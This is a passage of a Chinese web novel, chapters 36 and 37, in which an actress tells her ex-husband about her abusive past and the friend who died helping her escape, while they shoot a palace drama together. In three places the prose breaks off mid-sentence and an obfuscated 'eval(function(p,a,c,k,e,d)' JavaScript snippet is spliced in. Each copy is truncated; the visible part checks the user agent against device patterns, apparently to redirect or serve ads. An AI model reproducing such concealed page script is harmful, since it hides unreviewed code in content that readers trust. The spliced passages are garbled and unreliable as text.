可就是这么一个人,只需要几句话,一张黑白照片,就能把一场幸福的婚礼,变成她余生挥之不去的阴影。 “你不是总想知道,我当初是怎么从港市逃回来的么?”云灯说,“告诉你也无所谓。” 骆小花喜欢她的脸,总是夸她像公主一样漂亮,周围的人都知道。 乃至于有一天,这位忠实迷妹为了更像她,跑去整容,旁人感到无语的同时并不觉得有多意外。里外几道门的保镖也渐渐习惯了,手术做完恢复的那个月,骆小花总戴着口罩出入。 逃离港市的那个周末,她剪掉了自己的头发,戴上口罩,穿着骆小花的衣服鞋袜,安静地乘车离开。 透过卧室的落地窗,监视的人能清晰看到一个侧躺的背影,跟她身材相同,没有应酬的日子里照旧在床上睡得昏天黑地。 似乎是平常的一天。 走之前她对骆小花发了誓,只要找到机会,一定会回来接她离开。 她幸运地遇到了叶平川,没有花费太久时间,原本打算结婚后就利用他的家族关系,威逼利诱,不择手段地完成誓言。 可她总是幸运,又差点运气。 “我把照片撕碎扔掉了。现在想想挺后悔的。” 人在感到绝望时,总会做出一些自欺欺人的举动。仿佛没有看到照片,就能当作没听到过死讯。 “我真的很想杀了他。”她神情漠然地说。“可我还要结婚。我要笑着走出去。我的丈夫在外面等我。” 申雪舒嘴巴张开又闭上,震撼得说不出话。 她本以为自己跟着傅谦明的这两年,已经活得比大部分人都精彩传奇,以为自己已经算是见过了世面。 “你不必要跟我说这些的……刚进组那会儿,你都不愿意搭理我呢。” 忽如其来的坦诚必然伴随着某种目的性。申雪舒咬了咬牙,痛下决心般,“你放心,我肯定会站在你这边的。但是……这个,我不能给你当狗,就是,那个,我喜欢男的。” 虽然只听了这么一会儿…… 真的很难不怀疑是段女同生死恋。 “当然。我不会再养狗了。” 云灯收敛心神,开诚布公道,“我想要的是盟友,知根知底的合作伙伴。” “蜷在我的公司里会限制你的发展。我们可以另拟一份合同,我用所有资源来托举你,你也要让我看到相应的回报。” 明确申雪舒身份的那天,她的第一反应就是不想跟傅谦明作对。 这种刻进潜意识里的忌惮让她反感。 明哲保身就真能保得住吗?这一次避开,下一次呢?她不打算再依靠叶平川,就只能独自面对。 与其如此,不如把能拉拢的力量汇聚起来。她身边的人越多,围绕她建立起的联盟力量就越强。 即使身边还没有称得上强大的盟友,也可以慢慢培养。 傅谦明花了四十多年才有现在的地位。她们还这样年轻,有什么不可能的。 或许有一天,她们也可以拥有曾以为遥不可及的,足以抗衡他的力量。 如果她足够强大,就算有人狗急跳墙,也不敢这样报复,直接跳到她脸上来。 叶平川也不会受伤。 她想到了叶平川,脑子里那些关于港市的记忆就很突然地全部被打乱。 “等一下,我给叶平川发个微信。”她在地板上摸索着找手机,“太久不回房间他又要念我。” “……” 这转折也太猝不及防了点。申雪舒搞不懂两人的关系,但感受到野心蓬勃的力量,整个人仿佛血液都被点燃,举杯和她碰了一下,“谢谢。我不会让你对今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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滑不溜手,叶平川试了几回都抓不起来,好气又好笑,简单粗暴地把她扛上肩头,朝她屁股上拍了一巴掌,“这位天使,请老实。” 云灯挂在他身上嘿嘿笑,“已老实。” 申雪舒:“……” 她跟云灯喝的量差不多,但只是头晕困乏而已。没想到这人酒量这么差。 “明天还得工作,怎么喝这么多。”叶平川没有直接把人带走,审视的目光投向另一个,“你们聊了什么?” 冷飕飕的目光,刀子似的。 申雪舒嘴硬地说,“就随便讲点八卦。” 云灯说两人已经离婚了。虽然具体情况有待商榷,但她不能信任叶平川。 眼看问不出什么,叶平川被气笑了,连说了三个好字,疑似被排外导致破防,扛着人摔门而出。 抛下他自己找借口回酒店,还背着他跟别人喝到半夜,喝得烂醉。 叶平川已经下定决心,就算她吐一身也不会管。 云灯头朝下颠着,确实难受得想吐,但忍住了。幸好房间离得不远。 叶平川把她带回房间,放在沙发上,去和导演通电话。得知了孟瑜家人来闹的事由,算是稍微理解了些,但还是觉得不至于。 她抗压能力又不弱,怎么会只为这么点事喝醉。 通完电话,他生着闷气接水,拧了个冷毛巾。从洗手间出来一看,她还坐在那里,不言不语地低着头,啪嗒啪嗒直掉眼泪。 叶平川瞬间慌了,忘记自己还在生气,大步冲过去,半跪在沙发边,用手抹她脸上的泪水,“怎么了这是,别哭啊……是哪里难受吗?不要哭了宝宝,看看我,嗯?是不是有哪里不舒服?” 云灯根本不听他的话,眼泪爆发,哭得上气不接下气。颠三倒四地说什么很想小花,又说鼻梁骨好疼。 叶平川呼吸节奏都被她带乱,自己也快喘不上气了,憋得眼眶酸胀,凑上去把她被泪水湿透的脸全亲一遍,着急地命令她的鼻子不许疼。 她哭够了一阵,才认出面前的人是谁,泪水很快地止住,小声问他,“叶平川,你疼不疼呢?” 眼泪朦胧的视野里,她看到叶平川眉峰上的伤痕,抽泣着伸手去摸。 那是车祸里留下的擦伤,还没愈合,白天拍戏必须要上妆盖住,晚上回来卸妆洗脸,反复摩擦,那一小片皮肤好像肿起来,在发红发热。 “有一点疼。”叶平川道,“不过医生说了,疼的时候找人亲一亲就会好。” 她信以为真,双手捧着叶平川的脸,虔诚地吻上去。 浸过泪水的嘴唇是咸的,贴在伤口上有轻微的刺痒。她努力地吞下呜咽,长久地吻着那道微不足道的伤口,想要他快点好起来。 真相大白的一刹,风雨飘摇的感情也就此尘埃落定。 叶平川不敢眨眼睛,可泪水满溢,还是顺着他的脸颊滑落出来。好像她的泪都聚集在他的眼眶里,源源不断地替她流泪。 现在云灯变成了替人擦泪的那一个,有点伤心地问,“还是很疼吗?” 叶平川摇头,深深地拥抱她。 “现在一点都不疼了。” 36. 第 36 章 离婚后的半年里,云灯时不时会想起那场备受瞩目的婚礼。 她和叶平川在婚礼上跳舞。叶平川说她脸红得可以跟花园里摆满的朱丽叶粉玫瑰互称姐妹。 她又不能说自己脸红是因为很想杀人憋出来的,只好粉饰出天衣无缝的笑容,然后撒娇抱怨天气太热,婚礼不该选在夏天。 叶平川的心思简单得几乎不用揣摩,也同样纯粹的眼光看她。看到她笑就觉得她是开心的,不会再花很多心思去剖析。 他固执地认为两人在一起只要开心就好,只要相爱,任何问题都可以被解决,无非是早晚。爱总是能令人渡过难关。 云灯赞同一半。 只有被爱的那个人可以。 她的小花做了她的船,渡她离开吃人的岛屿,自己却葬身在风浪里。 她后知后觉地确认,自己真的被爱过。 无解的眼神原来是心疼。 她那时不懂。 半夜醉酒大哭,一觉醒来她的眼睛鼓得桃子样,花了很大功夫消肿。梁天嘀嘀咕咕,她都没敢还嘴。 ——云灯(已老实版)。 导演照常是不管她干嘛的,只要开机不影响上镜就行。叶平川把最后需要补拍的两条搞定,火急火燎过来找人。路遇录音师绊到设备线摔了一大跤,差点把他也扑倒。 他顺手帮着把人抬上车送医院,等见到云灯,消息也已经传了过来,“头还懵吗?” “没什么感觉。” 剧组里鸡飞狗跳的小状况每天都在发生,见怪不怪了。她交代几句才转头看过来,脸上画着苍白的妆,连嘴唇也没什么血色,模样憔悴清冷。 虽然知道这妆面是剧情需要,看到的瞬间,心脏收缩的不适感还是很明显。叶平川坐到她身边,撕了片发热贴贴在掌心,握住她的手,又撩起自己的披风一起盖住,“冷不冷?今天看样子不会下雪了。” “嗯,待会儿得用机器造景。”今天要拍她雪地里长跪,帮将军府求情的戏。也是她皇女时期的最后一场戏。 开拍前两人坐在一块儿说话,语气稀松平常,内容都是工作。梁天很好奇昨晚发生了什么,可惜竖着耳朵听到最后,也没捕捉到一点蛛丝马迹。 云灯说离婚了,那应该就是离婚了。可她看着,只觉得这两人在一起的默契和以前并没有差别。尤其是当着外人的面,一个人不想提的事,另一个人不会多说一个字。 所以就连她这个相处已算是深入的助理,都没见过两人争吵的样子。 这么要好的两个人……梁天惴惴地猜想,会因为什么事离婚呢?该不会真是叶老师出轨了吧。 “你晚上是不是要回南江?”云灯忽然问她。 她立马回神接话,“对。是要带东西吗?” 元旦她有个堂姐结婚,正好组里放假。她被家里磨了好几天,终于还是妥协赶回去当伴娘。 这边还要再拍一个多月,云灯让她去南江的家里带点衣服过来。 最好每天下班都穿得不重样,这样探班的粉丝们看到拍到都有新鲜感。 梁天走后,她也跟着起身,没站稳趔趄了一下。叶平川眼疾手快地托住,要笑不笑地说,“酒还没醒?” “……” 云灯朝他做了个嘴巴拉链的手势。 虽然现在的情况基本算是申雪舒要来投靠她,但她向来讲究公平。申雪舒的情况她已经知道得七七八八,为了以后的合作,她也交个底才显得比较真诚。 唯一的问题是后来她喝断片了,记不起自己说到哪。也不记得叶平川是什么时候去的,听到了多少。 好在他懂事,不会在开拍前拿这种一时半会儿扯不清楚的问题来打扰她集中精神。 将军府谋逆大罪几乎已成定局,家族亲眷皆下了狱。 要找出线索为其翻案谈何容易,言秋却一意孤行上书陈情,险些被判为逆党同谋。惹得龙颜震怒,被罚跪在大殿之外。 来来往往的宫人侧目,小声议论。她挺直脊背,遥望着台阶之上论政殿的牌匾。 寒冬的酷雪没有冰封她的傲骨,反而淬炼出一颗更加坚毅笃定的心。 她一定要爬到那个位置,手握至高的权力,才能保护想保护的人。 一天一夜的罚跪结束,马车接她出宫,回到公主府。谢凭渊正在等她,已然立成雪人。 无诏不得入宫。她在宫里受罚多久,他就在回公主府的必经之路上等了多久。 入了暖阁,两人相对而坐,喝茶烤火,静默无言。 自从生出觊觎皇位的心思后,言秋对他的倾诉少了许多,独来独往,行事手段越发偏激,两人之间难免有了嫌隙。 谢凭渊乃当朝重臣,名望颇盛,深受皇帝信任。皇位之争,无论谁争取到他的帮助,都是如虎添翼。 偏偏她却想要避开他。 “此事太过凶险。”言秋低声道。公主再受宠,也很难挤进继承人的行列。这都不是同一起跑线的竞争,更别提之后的尔虞我诈,“慎远,我不想牵连你。” “还记得你上一次为将军府谋划,参加女官选考进宫时,是如何做的么?” 谢凭渊提及旧事,如玉面庞亦露出暖意,“阿秋,你一直都很聪明。” 言秋当然记得。那时她慌乱地跑去侯府搬救兵,正碰上谢凭渊要去周转人情。 她也不自觉地笑起来,“你还要我去里面坐着,等你回来去樊楼吃了新制的果子。” 后来她才知道,自己之所以能顺利进宫,也是谢凭渊暗中使了手段。 她像一株树苗,自幼弱时期就接受了谢凭渊的培育和照耀,如今已青葱挺立,伸展出鲜嫩的枝叶。 可谋位之难,跟那些事都不是同一程度的凶险。成王败寇,稍有不慎便是灰飞烟灭,抄家灭族的大罪。 “正因凶险,”谢凭渊笃定道,“才更需我伴你身侧。” 二人心思百转,不过都是在为对方考虑。言秋沉默不语,他也不催促,有足够的耐心等待,期待。 他们同样怀揣着对盛世的憧憬,抱负和远见,渴望着大展宏图的机会。他们注定要站在同一边。 她需要他。 只待她亲口说出来。 言秋深深地看了他许久,终于朝他伸出手。 他心甘情愿地握住,自此交付余生。赌上全部的身家性命,去当一柄最趁手的刀。 “陛下,”他口吐大逆不道之语,动作珍重地将这只手贴在自己面颊上,沉静的眼底深埋着疯狂,“只待时机。” 血脉中燃烧的野心无声沸腾。 言秋抚摸他的脸,轻声道,“远卿助我。” ** 拍完这一场,天已经完全黑了。 云灯刚上车喝了杯热水,接到孟瑜一家人离开的消息,没什么表情地说了句注意安全,一路顺风。然后把喝剩的水杯递给叶平川。 喝酒似乎也有好处,今早她就发现姨妈停了,否则在雪地里拍戏更不方便。但小助理还是一直督促她喝热水,一杯接一杯地往她手里塞,真是喝都喝不完。 叶平川接过水杯,一口干了:“不失望吗?” “她有她的人生。”云灯说,“况且她后路很多啊,回家去机构里当舞蹈老师,或者考个编制,父母总会给安排的安稳工作。反正有人兜底。我有什么可替她失望的。” 不过,她私心里觉得孟瑜还会回来。 凡事都有两面性,后路太多总是会让人更犹豫,瞻前顾后。 孟瑜并不是个喜欢安逸的人,小城里毫无波澜的平静生活乍一听很好,但她还太年轻,静不下心,等整理好情绪,大概率还是要回来闯荡的。 云灯想了想,没往外说,以免将来被打脸。 她起身去床那边,想把没送出的手表拿出来,让梁天顺便把东西带回家放保险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“有人把我的生日礼物藏起来。”他说,“当然要去好好问个清楚。” “没送就不算是你的。”云灯抓住他的胳膊,“摘下来还我。生日已经给你过了,表我要转手,做别的用。” “好啊。”叶平川这样说着,却没有任何把腕表摘下来的意思,只把自己的手腕放在她手里,沉甸甸的。 “你挂到哪个平台我就让人去拍,送给谁我就把他做掉再抢回来。” 他不讲理道,“反正是我的。我一定要。” “……” “其实就是看到我妈先送了一样的,所以才不好意思拿出来,对吧。”他越说越兴起的样子,还笑眯眯地把头靠过来,“你好可爱。” 要提前很久预定的手工表,是她提前很久就已经埋下的心意。所以希望独一无二,不能跟任何人重复。 再回想才知道,怪不得他炫耀新表的那个晚上,云灯表现得一点都不捧场。她根本不是那么扫兴的人。 假装嫌他幼稚,说不定是为了掩饰心里偷偷的失落。 又在那么短的时间里重新想礼物,花费心思调度到遥远的草原里,也要送给他整个卡车无尽夏。 如果这都不算爱,叶平川想不出第二个答案。 “同样的卡片为什么要写两次?一份给我,一份自己藏起来。”叶平川直白地揭破。“在你心里,爱我是什么见不得光的事吗?” “……不是的。”云灯语气生涩。 她也不晓得自己在回答他哪一部分,是“爱我”还是“见不得光”。 向来随机应变的能力在这一刻忽然不奏效了。她只能苍白地反驳,重复道,“我并没有那么爱你。” “是么?”叶平川平静地说,“可从现在开始,我不会再相信你的鬼话了。” 和从前不同。听到这样的话,他没有再露出不解的伤心的表情。 仿佛已在无人之时,暗自下定了某种决心。 表盘内转动的齿轮应和着两人的心跳。 “你总是爱说我傻,但你好像也有一点笨。礼物喜不喜欢,不是由送礼物的人说了算的。要问收礼物的人才对吧?” 他说,“你爱不爱我这件事,我比你更清楚。” 37. 第 37 章 这是从哪里悟出来的歪理?云灯都替他害臊。 可又莫名局促。她心里梗着一口气上不去下不来,迅速演变成熟悉的恼火,“你以后不准随便上我的车!” “为什么?” “什么为什么,这是我的私人物品,使用权还不能由我说了算?难道我所有东西都要被你征用?”她气极反笑,“别在这儿给我自作聪明大放厥词。叶平川你是不是忘了,我们已经离……” “离婚了?老死不相往来了?” 叶平川反问,“那你还找我来干什么。” 不要说什么实在迫不得已才叫他来救场。如果云灯真的没有存一点点私心,根本就不会接受他零片酬来出演的要求。 她那么聪明,怎么可能不明白,如果真心想跟他两清,就不能再为任何事欠他人情。 “你敢拉我进组,难道就想不到我为什么来?” 他一字一顿,笃定道,“我空着手进组,就不会再空着手离开。” 他总是太容易把云灯的话听进心里,乱了方寸。险些忘记,他明明来之前就拿定了主意。 孤家寡人的日子谁爱过谁过。 他一定要把老婆带回家。 “……” 云灯凝视他许久,妥协般开口,“好吧,算我欠你的。” 签合同时她就知道,零片酬代表着比钱更棘手的麻烦。手术室外她就知道,被救了一命远不比死在车祸里轻松。 明知道万事万物都有代价。叶平川为她做了什么,自然就会从她这里拿走什么。 会有今天也是她咎由自取。 “你有任何想知道的事,都可以问我。问多少我就答多少,这样可以吗?”她静静地坐着,仿佛情绪已经被抽离了,只剩下客观的冷静的衡量。 她身上没有什么东西值得叶平川惦记,无论是财产还是人脉资源,他都能找到更好的。只剩下过往隐藏的谜团,或许还算是有趣。 “尽管放心地问。”她眨了一下眼睛,用惯常会有的温柔语气,轻声说,“今晚我不会对你说半个字的谎话喔。” 叶平川眉心紧拧,看她的反应就知道又没把他的话听进去,跟他想的都不是一个方向。 “没有头绪吗?也是。”看他不说话,云灯贴心道,“那就从头说起吧。不过我会把自己美化一点哦,毕竟人都是要面子的。” “你见过我那张校卡了,能上得起贵族小学,我刚生出来的那几年家里条件还是挺好的,不过肯定跟你家里比不了。后来有一回学校体检,被我爸发现我不是他亲生的,就离婚了。多亏他死要面子,继续供我在国际学校读完小学,所以我可以每天都在学校吃饱才回家。后来就没钱了,我妈会把抚养金在月初花光,然后为了生活费到处找人睡觉,弄到点钱再很快花光,重复到下个月抚养金到账。” “那我呢,总不能眼看着自己饿死吧?南江又不让打童工。我就在学校里找那种家里有钱的同学,接近他们搞好关系,重点是搞来他们的饭卡。你也知道的,我很会讨好人。是从小就会。” 她说着,忍不住叹了口气,“我这个人还是太有良心了。起初学校里有两三个好女孩想跟我当朋友,每天叫我一起吃饭,还会分给我水果和零食。可真心对我好的人,我反而不舍得让她们白白浪费钱。而且我这人有时候心态不行,人家好心我也感觉像被施舍。我又不能回报给她们什么,只能自觉地离远一点,就算是对她们好了。” “久而久之,我身边剩的全是些人渣贱货。跟人渣混在一起的当然也是人渣啊,所以我上中学的时候名声很差,当然就没有善良的小女孩来跟我做朋友了。” 这么说也不严谨,她指出,“啊,还是有一个的,就是我们的离婚律师,她叫姜渺。不过跟我不是同学,是高中时的邻居。” “说到高中,我那时候已经可以冒充成年人打工兼职了,有些老板即使看出来,也会睁一只眼闭一只眼。除了时不时受点骚扰以外还是挺好的,毕竟他们也不敢真干什么。打工的钱够我自己租个房子住,我就搬到城中村去,跟姜渺成了邻居。” “有一天晚上我骑电车去送货,半路上被一辆劳斯莱斯别车。真的很神经,车屁股甩我一身水,货箱差点都翻了。我生气啊,又干不过,只能把车停路边擦水,没想到劳斯莱斯也停了,车里下来的就是傅谦明。” 不怪她说得琐碎。幸福家庭里长出来的孩子总是缺乏对苦难的想象力,她不说清楚些,叶平川或许都无法理解前因后果。回头解释起来更麻烦。 她停下来,很老实地说自己有点渴。 叶平川就默默地倒了杯水给她喝。 他也很聪明,在这种最容易情绪化的时刻,反而把情绪控制得很好,没有只言片语的打扰,只是倾听。表现平和,冷静得像个心理医生。 智性恋最吃这样的瞬间,如果是从前,云灯一定会被吸引,主动吻他。 但现在,她沉溺于自己的叙事里,只想把这又臭又长的前半生快点讲完。像急着完成任务,她不在乎叶平川的反应。 “我和他就是这样认识的。我发誓那时根本就没注意到他,是他先来招惹我的,可能是小时候基础没打好,以至于长大了还是很容易吸引到人渣贱货。” “他从车里下来,给了我一件衬衣,让我不要着凉,还说如有需要可以给我别的补偿。我看出衬衣是很贵的牌子,就留了他的电话号码。很熟悉的情节是不是?《潮夜》里男女主角就是这样认识的。” 云灯说,“整个电影翻拍的就是我们的故事。不过后半段不一样,我没有在他的协助下复仇嗜亲,大杀四方。而是跟着他一起去了港市,在那里从头开始。” 她又低头喝了水,像是在组织语言,也像是在搜罗记忆,找寻尚能说出口的东西。 港市那几年发生了太多事,但她如今想来,竟然挑不出一件可说的,只能总结道,“我跟着他见识了更多黑心的贱人,有的死有的活,活的比较多。我觉得那样不行,就在自己也变成黑心的贱人之前,靠一个朋友的帮忙逃回来了。” “本来想着回来拼一把,等我有点本事以后再去接她的,但她还没等到那个时候就死了。其实没什么好意外的。我以前也见过傅谦明身边叛徒的下场,把她自己留在那里的时候,就知道最坏的结果是什么。但我还是自己跑了。都说祸害遗千年,真没错,像我这种人反而能活下来,还活得看起来很光鲜呢。这个世界早就疯了。” “后来的事情你就都知道了。从我们谈恋爱到离婚,几乎没有分开过。” 她想了想,又补充说,“对了,我在拍《潮夜》的时候跟傅谦明吵架,为了气他也为了摆脱他,故意和男主角谈恋爱。后来被他知道,搞得那个富二代家破人亡的。虽然以你家里的条件应该不用担心破产,但再小的麻烦也是麻烦,你以后还是离我远一点比较好。大概就是这样。” 像在讲别人的八卦。她平心静气地说完,等待叶平川的评判。 她听过最恶心的难听话,也被施予过最纯粹的善意同情。所以,任何评判她都可以接受,可以消化。 这些陈旧的经历甚至不能算是伤疤,剖开来看也不痛不痒。以前她不讲,是想在叶平川面前保持神秘感,是种吊他胃口的手段。结婚后不讲,就纯粹是嫌麻烦。 要说这么久呢。 她喝完了一大杯水。和今天一整天喝的一样多。 她想拿这些不痛不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我都听到了。其实你不想说这些也没关系,我以后再也不会缠着问你。”他说,“而且你也不欠我什么。从前你骗过我,这次我骗了你,刚好扯平了。今后我们就可以重新来过。” “让我再追你一次,认认真真地追。你不要放水,也别着急。直到你真的感到快乐,觉得可以跟我过下去的时候,再答应我。” 他要带云灯回家,也得是高高兴兴地回去。 这个想法跟她从前经历过什么没有任何关系。 “……” 这是正常人的脑回路吗? 云灯脑壳发麻。 人无语到一定程度总是忍不住要笑的。她笑了一下,讲白话骂,“黐线。” 叶平川不辩驳,也看着她笑。 他那双眼睛生得非常漂亮,明亮净透。心里在想什么都明晃晃地透出来,浓郁,清晰。 云灯原本是没办法看懂的。 但她曾经见过这个眼神。 和骆小花一模一样的眼神。 即便再蠢,她也无法视而不见。 她不知道叶平川脑袋里在发生什么神奇的化学反应。只知道,等她回过神来,自己的手已经抚上他的眼角。 叶平川歪了下头,把脸蹭进她手心里。 “从前都不好。那些人不好,事不好,我也不够好。”他低声说。“以后会好的。以后,我会找到能让你开心的事,会活得比他们任何人都要久,陪着你。要不要和我看看以后呢?”